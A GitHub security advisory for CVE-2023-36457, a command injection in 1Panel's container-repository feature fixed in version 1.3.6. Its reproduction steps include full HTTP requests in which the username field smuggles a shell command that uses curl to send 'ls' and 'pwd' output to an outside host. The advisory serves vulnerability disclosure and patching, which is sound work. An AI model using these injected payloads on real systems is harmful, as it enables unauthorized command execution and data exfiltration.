Skip to content

1Panel vulnerable to command injection when adding container repositories

Moderate severity GitHub Reviewed Published Jul 4, 2023 in 1Panel-dev/1Panel • Updated Nov 9, 2023

Package

gomod github.com/1Panel-dev/1Panel (Go)

Affected versions

< 1.3.6

Patched versions

1.3.6

Description

Impact

The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.

  1. Vulnerability analysis.
backend\app\api\v1\image_repo.go#create

image

backend\app\service\image_repo.go#CheckConn

image

  1. vulnerability reproduction.
POST /api/v1/containers/repo HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN: 
Content-Length: 446
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}
  1. Using update can be triggered multiple times.
POST /api/v1/containers/repo/update HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN: 
Content-Length: 447
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}

Affected versions: <= 1.3.5

Patches

The vulnerability has been fixed in v1.3.6.

Workarounds

It is recommended to upgrade the version to v1.3.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel
Email us at wanghe@fit2cloud.com

References

@wanghe-fit2cloud wanghe-fit2cloud published to 1Panel-dev/1Panel Jul 4, 2023
Published by the National Vulnerability Database Jul 5, 2023
Published to the GitHub Advisory Database Jul 5, 2023
Reviewed Jul 5, 2023
Last updated Nov 9, 2023

Severity

Moderate
6.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CVE ID

CVE-2023-36457

GHSA ID

GHSA-q2mx-gpjf-3h8x

Source code

Checking history
See something to contribute? Suggest improvements for this vulnerability.